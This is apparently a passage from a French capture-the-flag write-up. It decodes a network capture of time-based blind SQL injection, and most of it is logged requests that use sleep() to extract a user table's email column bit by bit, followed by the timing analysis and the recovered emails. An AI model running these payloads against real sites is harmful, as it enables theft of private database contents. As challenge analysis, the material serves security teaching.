/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 5,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 5,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 5,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 5,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 5,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 5,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 5,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 5,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 6,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 6,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 6,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 6,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 6,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 6,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 6,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 6,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 7,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 7,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 7,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 7,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 7,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 7,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 7,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 7,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 8,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 8,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 8,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 8,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 8,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 8,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 8,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 8,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 9,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 9,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 9,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 9,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 9,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 9,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 9,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 9,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 10,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 10,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 10,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 10,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 10,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 10,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 10,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 10,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 11,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 11,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 11,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 11,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 11,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 11,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 11,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 11,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 12,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 12,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 12,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 12,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 12,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 12,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 12,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 12,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 13,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 13,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 13,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 13,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 13,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 13,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 13,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 13,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 14,1))),8,'0'), 1, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 14,1))),8,'0'), 2, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 14,1))),8,'0'), 3, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 14,1))),8,'0'), 4, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 14,1))),8,'0'), 5, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 14,1))),8,'0'), 6, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 14,1))),8,'0'), 7, 1) = '0'), sleep(1), 0)
/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 14,1))),8,'0'), 8, 1) = '0'), sleep(1), 0)
</code>

En analysant le code on constate qu'on itère sur les 8 bits puis que n caractères.

Il y a aussi une commande ''sleep''. Donc, si la condition est vraie, le serveur PHP va attendre une seconde à chaque fois. Si on détermine le délai relatif entre chaque requête GET, on constate qu'il y a un délai variable entre 0s et 3s (ce qui signifie que le serveur évalue l'expression 3 fois).

On peut ajouter une nouvelle colonne de type ''Delta time displayed''. On peut maintenant considérer que si la requête a duré 3 secondes, cela correspond à un bit 0.

{{:curiosite:challenge:nes:wireshark_delta_time.png|}}


En convertissant tous les bits, on trouve entre autre 3 adresses mails :

<code>
NES
user
id
username
password
profession
courriel
admin@webadmin.fr
misc.chall.code_835@nes.fr
cyabob@bob.fr
</code>